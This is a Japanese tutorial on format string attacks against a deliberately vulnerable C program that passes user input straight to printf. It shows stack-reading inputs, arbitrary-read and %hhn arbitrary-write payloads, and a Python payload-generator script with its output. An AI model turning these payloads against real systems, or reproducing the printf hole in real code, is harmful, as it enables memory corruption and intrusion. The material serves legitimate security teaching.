書式指定文字列攻撃

このプログラムには脆弱性がある。

#include <stdio.h>
#include <string.h>

char target[] = "test";

int main()
{
    char buf[1024];
    fgets(buf, sizeof buf, stdin);
    printf(buf);

    printf("%p: %s\n", target, target);

    return 0;
}
$ g++ -m32 -o bug bug.cpp
$ ./bug
abcdefg
abcdefg
0x80497fc: test

printf()の第1引数に外部から指定可能な文字列を渡してはいけない。これによって、ほぼ任意のアドレスの値を呼んだり、値を書き込んだりできる。

書式指定文字列攻撃という。CPUのアーキテクチャに依存しないし、スタックのアドレスがランダム化されていたり実行不可能だったりしても問題無いので、使いやすい。

スタックの読み込み

printf()は引数の個数を指定することができないので、"%x %x %x %x"を渡すと、スタックの第2引数、第3引数、…があるはずの位置の値を出力してしまう。

$ ./bug
aaaa %x %x %x %x %x %x %x %x
aaaa 400 4db440 18168c 61616161 20782520 25207825 78252078 20782520
0x80497fc: test

printf()の第5引数があるべき位置に、変数bufがあることがわかる。
"%n$x"という表記によって、n+1番目の引数があるべき位置の値を表示することもできる。これでスタックの先の方も覗けるし、何番目の書式指定文字か気にする必要が無くなる。

$./bug
aaaa %4$x
aaaa 61616161
0x80497fc: test

特定のアドレスの値の読み込み

↑からprintf()の第5引数のある位置は、bufの先頭であることが分かる。bufの先頭に読みたいアドレスを書いておいて、%sで表示すれば良い。

$ python -c 'print "\xfc\x97\x04\x08 %4$s"' | ./bug
 test
0x80497fc: test
$ python -c 'print "\xfc\x97\x04\x08 %4$s"' | ./bug | hexdump
0000000 97fc 0804 7420 7365 0a74 7830 3038 3934
0000010 6637 3a63 7420 7365 0a74
000001a

特定のアドレスへの値の書き込み

%nを使う。%nは引数で指定したアドレスにこれまでに出力したバイト数を書き込む。読み込みと同様にbufの先頭に書き込みたいアドレスを書いておけば良い。出力したバイト数を目的の値にするためには"%nc"を使うと1文字以上の任意のn文字を出力できる。また、"%hhn"を使うとポインタがchar型とみなされて1バイトのみ書き込むことができる。
0x80497fcの値をx(0x78=120)に書き換える例。

$ python -c 'print "\xfc\x97\x04\x08%116c%4$hhn"' | ./bug
                                                                                          
0x80497fc: xest

"%120c"ではなく"%116c"なのは、先頭にアドレス指定用の4バイトがあるから。

複数の値の書き込み

これを繰り返せば複数の値を書き込める。x(0x78)を書き込んだ後にa(0x61)を書き込みたい場合は0x61+0x100-0x78=0xe9バイト出力すれば良い。手作業では面倒なのでスクリプト

# coding: utf-8

from sys import *
from struct import *

# (アドレス, 値)
T = [
    (0x080497fc, ord('h')),
    (0x080497fd, ord('a')),
    (0x080497fe, ord('c')),
    (0x080497ff, ord('k')),
]

# 書き込む文字列の先頭がprintfのoffset+1番目の引数
offset = 4

code = "".join(pack("I",t[0]) for t in T)

# 出力した文字数
n = len(T)*4

for i in range(len(T)):
    l = (T[i][1]-n-1)%256+1
    code += "%{0}c%{1}$hhn".format(l, offset+i)
    n += l

print >>stderr, "code:", repr(code)
print code

実行結果

$ python attack.py | ./bug
code: '\xfc\x97\x04\x08\xfd\x97\x04\x08\xfe\x97\x04\x08\xff\x97\x04\x08%88c%4$hhn%249c%5$hhn%2c%6$hhn%8c%7$hhn'
                                                                                                                                                                                                                                                                                                                                               @
                                                                          ・
0x80497fc: hack